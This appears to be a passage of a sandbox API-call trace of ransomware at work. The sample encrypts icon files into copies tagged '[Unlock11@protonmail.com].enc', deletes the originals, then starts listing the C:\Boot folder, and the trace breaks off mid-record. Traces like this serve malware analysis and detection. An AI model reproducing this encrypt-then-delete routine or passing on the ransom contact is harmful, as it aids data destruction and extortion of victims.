[0115.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bb8 | out: hHeap=0x2ad0000) returned 1 [0115.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0115.658] GetLastError () returned 0x0 [0115.658] GetLastError () returned 0x0 [0115.658] GetLastError () returned 0x0 [0115.658] GetLastError () returned 0x0 [0115.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0115.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a58 [0115.659] GetLastError () returned 0x0 [0115.659] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.659] GetFileType (hFile=0x3ac) returned 0x1 [0115.659] GetLastError () returned 0x0 [0115.659] GetCurrentThreadId () returned 0x9b0 [0115.659] GetLastError () returned 0x0 [0115.659] GetFileType (hFile=0x3ac) returned 0x1 [0115.659] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.660] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.660] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.660] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.660] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.660] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.660] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.660] GetLastError () returned 0x0 [0115.660] GetCurrentThreadId () returned 0x9b0 [0115.660] GetLastError () returned 0x0 [0115.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0115.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0115.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0115.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0115.661] GetLastError () returned 0x0 [0115.661] GetLastError () returned 0x0 [0115.661] GetCurrentThreadId () returned 0x9b0 [0115.661] GetLastError () returned 0x0 [0115.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0115.661] GetLastError () returned 0x0 [0115.661] GetLastError () returned 0x0 [0115.661] GetCurrentThreadId () returned 0x9b0 [0115.661] GetLastError () returned 0x0 [0115.661] GetLastError () returned 0x0 [0115.663] GetLastError () returned 0x0 [0115.663] GetCurrentThreadId () returned 0x9b0 [0115.663] GetLastError () returned 0x0 [0115.663] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x493) returned 0x35c5908 [0115.663] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x495) returned 0x35c5908 [0115.663] GetCurrentThreadId () returned 0x9b0 [0115.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6bb8 [0115.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a18 | out: hHeap=0x2ad0000) returned 1 [0115.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x498) returned 0x388f3a8 [0115.664] GetLastError () returned 0x0 [0115.664] GetLastError () returned 0x0 [0115.664] GetLastError () returned 0x0 [0115.664] GetLastError () returned 0x0 [0115.664] GetCurrentThreadId () returned 0x9b0 [0115.664] GetLastError () returned 0x0 [0115.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388f3a8 | out: hHeap=0x2ad0000) returned 1 [0115.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0115.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0115.664] GetLastError () returned 0x0 [0115.664] GetLastError () returned 0x0 [0115.665] GetCurrentThreadId () returned 0x9b0 [0115.665] GetLastError () returned 0x0 [0115.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388e550 | out: hHeap=0x2ad0000) returned 1 [0115.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5da8 [0115.665] GetLastError () returned 0x0 [0115.665] GetLastError () returned 0x0 [0115.665] GetCurrentThreadId () returned 0x9b0 [0115.665] GetLastError () returned 0x0 [0115.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5da8 | out: hHeap=0x2ad0000) returned 1 [0115.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.666] GetLastError () returned 0x0 [0115.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0115.667] CloseHandle (hObject=0x3ac) returned 1 [0115.667] GetLastError () returned 0x0 [0115.667] GetCurrentThreadId () returned 0x9b0 [0115.667] GetLastError () returned 0x0 [0115.667] GetLastError () returned 0x0 [0115.667] CloseHandle (hObject=0x39c) returned 1 [0115.667] GetLastError () returned 0x0 [0115.667] GetCurrentThreadId () returned 0x9b0 [0115.667] GetLastError () returned 0x0 [0115.667] GetLastError () returned 0x0 [0115.668] GetLastError () returned 0x0 [0115.668] GetLastError () returned 0x0 [0115.668] GetLastError () returned 0x0 [0115.668] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0115.669] GetLastError () returned 0x0 [0115.669] GetCurrentThreadId () returned 0x9b0 [0115.669] GetLastError () returned 0x0 [0115.669] GetCurrentThreadId () returned 0x9b0 [0115.669] GetLastError () returned 0x0 [0115.669] GetLastError () returned 0x0 [0115.669] GetLastError () returned 0x0 [0115.669] GetLastError () returned 0x0 [0115.670] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\warn.ico", lpFilePart=0x9bada4*="warn.ico") returned 0x27 [0115.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0115.670] GetCurrentThreadId () returned 0x9b0 [0115.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0115.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0115.670] GetLastError () returned 0x0 [0115.670] GetLastError () returned 0x0 [0115.670] GetLastError () returned 0x0 [0115.670] GetLastError () returned 0x0 [0115.671] GetCurrentThreadId () returned 0x9b0 [0115.671] GetLastError () returned 0x0 [0115.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0115.671] GetCurrentThreadId () returned 0x9b0 [0115.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0115.671] GetLastError () returned 0x0 [0115.671] GetLastError () returned 0x0 [0115.671] GetLastError () returned 0x0 [0115.671] GetLastError () returned 0x0 [0115.671] GetCurrentThreadId () returned 0x9b0 [0115.671] GetLastError () returned 0x0 [0115.671] GetLastError () returned 0x0 [0115.672] GetLastError () returned 0x0 [0115.672] GetLastError () returned 0x0 [0115.672] GetLastError () returned 0x0 [0115.672] GetCurrentThreadId () returned 0x9b0 [0115.672] GetLastError () returned 0x0 [0115.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0115.672] GetLastError () returned 0x0 [0115.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0115.672] GetLastError () returned 0x0 [0115.672] GetLastError () returned 0x0 [0115.672] GetLastError () returned 0x0 [0115.673] GetCurrentThreadId () returned 0x9b0 [0115.673] GetLastError () returned 0x0 [0115.673] GetCurrentThreadId () returned 0x9b0 [0115.673] GetLastError () returned 0x0 [0115.673] GetLastError () returned 0x0 [0115.673] GetLastError () returned 0x0 [0115.673] GetLastError () returned 0x0 [0115.673] GetCurrentThreadId () returned 0x9b0 [0115.673] GetLastError () returned 0x0 [0115.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0115.673] GetLastError () returned 0x0 [0115.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0115.674] GetLastError () returned 0x0 [0115.674] GetLastError () returned 0x0 [0115.674] GetLastError () returned 0x0 [0115.674] GetCurrentThreadId () returned 0x9b0 [0115.674] GetLastError () returned 0x0 [0115.674] GetLastError () returned 0x0 [0115.674] GetLastError () returned 0x0 [0115.674] GetLastError () returned 0x0 [0115.674] GetLastError () returned 0x0 [0115.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0115.675] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796)) returned 1 [0115.675] GetLastError () returned 0x0 [0115.675] GetCurrentThreadId () returned 0x9b0 [0115.675] GetLastError () returned 0x0 [0115.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0115.675] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680fc | out: pbBuffer=0x36680fc) returned 1 [0115.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0115.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0115.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0115.675] GetCurrentThreadId () returned 0x9b0 [0115.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0115.676] GetLastError () returned 0x0 [0115.676] GetLastError () returned 0x0 [0115.676] GetLastError () returned 0x0 [0115.676] GetLastError () returned 0x0 [0115.676] GetCurrentThreadId () returned 0x9b0 [0115.676] GetLastError () returned 0x0 [0115.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0115.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0115.676] GetCurrentThreadId () returned 0x9b0 [0115.676] GetLastError () returned 0x0 [0115.677] GetLastError () returned 0x0 [0115.677] GetLastError () returned 0x0 [0115.677] GetLastError () returned 0x0 [0115.677] GetCurrentThreadId () returned 0x9b0 [0115.677] GetLastError () returned 0x0 [0115.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0115.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f69f8 [0115.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0115.677] GetLastError () returned 0x0 [0115.677] GetLastError () returned 0x0 [0115.677] GetLastError () returned 0x0 [0115.677] GetLastError () returned 0x0 [0115.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a68 [0115.678] GetLastError () returned 0x0 [0115.678] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.678] GetFileType (hFile=0x39c) returned 0x1 [0115.678] GetLastError () returned 0x0 [0115.678] GetCurrentThreadId () returned 0x9b0 [0115.678] GetLastError () returned 0x0 [0115.678] GetFileType (hFile=0x39c) returned 0x1 [0115.678] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.679] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.679] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.679] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.679] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.679] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.679] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.679] GetLastError () returned 0x0 [0115.679] GetCurrentThreadId () returned 0x9b0 [0115.679] GetLastError () returned 0x0 [0115.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0115.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0115.679] GetLastError () returned 0x0 [0115.679] GetLastError () returned 0x0 [0115.680] GetLastError () returned 0x0 [0115.680] GetLastError () returned 0x0 [0115.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0115.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a58 [0115.680] GetLastError () returned 0x0 [0115.680] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.680] GetFileType (hFile=0x3ac) returned 0x1 [0115.680] GetLastError () returned 0x0 [0115.681] GetCurrentThreadId () returned 0x9b0 [0115.681] GetLastError () returned 0x0 [0115.681] GetFileType (hFile=0x3ac) returned 0x1 [0115.681] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.681] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.681] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.681] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.681] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.681] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.682] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.682] GetLastError () returned 0x0 [0115.682] GetCurrentThreadId () returned 0x9b0 [0115.682] GetLastError () returned 0x0 [0115.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0115.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0115.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0115.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0115.682] GetLastError () returned 0x0 [0115.682] GetLastError () returned 0x0 [0115.682] GetCurrentThreadId () returned 0x9b0 [0115.682] GetLastError () returned 0x0 [0115.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0115.683] GetLastError () returned 0x0 [0115.683] GetLastError () returned 0x0 [0115.683] GetCurrentThreadId () returned 0x9b0 [0115.683] GetLastError () returned 0x0 [0115.683] GetLastError () returned 0x0 [0115.684] GetLastError () returned 0x0 [0115.684] GetCurrentThreadId () returned 0x9b0 [0115.685] GetLastError () returned 0x0 [0115.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x27ab) returned 0x35c5908 [0115.685] GetCurrentThreadId () returned 0x9b0 [0115.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x27b5) returned 0x35c5908 [0115.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69c8 [0115.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0115.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x27b8) returned 0x35b89d8 [0115.685] GetLastError () returned 0x0 [0115.685] GetLastError () returned 0x0 [0115.685] GetLastError () returned 0x0 [0115.685] GetLastError () returned 0x0 [0115.686] GetCurrentThreadId () returned 0x9b0 [0115.686] GetLastError () returned 0x0 [0115.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0115.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0115.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.686] GetLastError () returned 0x0 [0115.687] GetLastError () returned 0x0 [0115.687] GetCurrentThreadId () returned 0x9b0 [0115.687] GetLastError () returned 0x0 [0115.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bb198 | out: hHeap=0x2ad0000) returned 1 [0115.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0115.688] GetLastError () returned 0x0 [0115.688] GetLastError () returned 0x0 [0115.688] GetCurrentThreadId () returned 0x9b0 [0115.688] GetLastError () returned 0x0 [0115.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0115.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.688] GetLastError () returned 0x0 [0115.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.688] CloseHandle (hObject=0x3ac) returned 1 [0115.689] GetLastError () returned 0x0 [0115.689] GetCurrentThreadId () returned 0x9b0 [0115.689] GetLastError () returned 0x0 [0115.689] GetCurrentThreadId () returned 0x9b0 [0115.689] GetLastError () returned 0x0 [0115.689] CloseHandle (hObject=0x39c) returned 1 [0115.689] GetLastError () returned 0x0 [0115.689] GetCurrentThreadId () returned 0x9b0 [0115.689] GetLastError () returned 0x0 [0115.689] GetLastError () returned 0x0 [0115.690] GetLastError () returned 0x0 [0115.690] GetLastError () returned 0x0 [0115.690] GetLastError () returned 0x0 [0115.690] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0115.691] GetLastError () returned 0x0 [0115.691] GetCurrentThreadId () returned 0x9b0 [0115.691] GetLastError () returned 0x0 [0115.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0115.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1650 | out: hHeap=0x2ad0000) returned 1 [0115.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0ca0 | out: hHeap=0x2ad0000) returned 1 [0115.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0c08 | out: hHeap=0x2ad0000) returned 1 [0115.691] GetLastError () returned 0x0 [0115.691] GetLastError () returned 0x0 [0115.692] GetLastError () returned 0x0 [0115.692] GetLastError () returned 0x0 [0115.692] FindFirstFileA (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0115.693] GetLastError () returned 0x0 [0115.693] GetCurrentThreadId () returned 0x9b0 [0115.693] GetLastError () returned 0x0 [0115.693] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.694] GetLastError () returned 0x0 [0115.694] GetCurrentThreadId () returned 0x9b0 [0115.694] GetLastError () returned 0x0 [0115.694] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="BCD", cAlternateFileName="")) returned 1 [0115.694] GetLastError () returned 0x0 [0115.694] GetCurrentThreadId () returned 0x9b0 [0115.694] GetLastError () returned 0x0 [0115.694] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0115.694] GetLastError () returned 0x0 [0115.694] GetCurrentThreadId () returned 0x9b0 [0115.695] GetLastError () returned 0x0 [0115.695] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0115.695] GetLastError () returned 0x0 [0115.695] GetCurrentThreadId () returned 0x9b0 [0115.695] GetLastError () returned 0x0 [0115.695] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0115.695] GetLastError () returned 0x0 [0115.695] GetCurrentThreadId () returned 0x9b0 [0115.695] GetLastError () returned 0x0 [0115.695] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0115.695] GetLastError () returned 0x0 [0115.695] GetCurrentThreadId () returned 0x9b0 [0115.695] GetLastError () returned 0x0 [0115.695] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881228, Size=0x20) returned 0x33ea6d8 [0115.696] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, 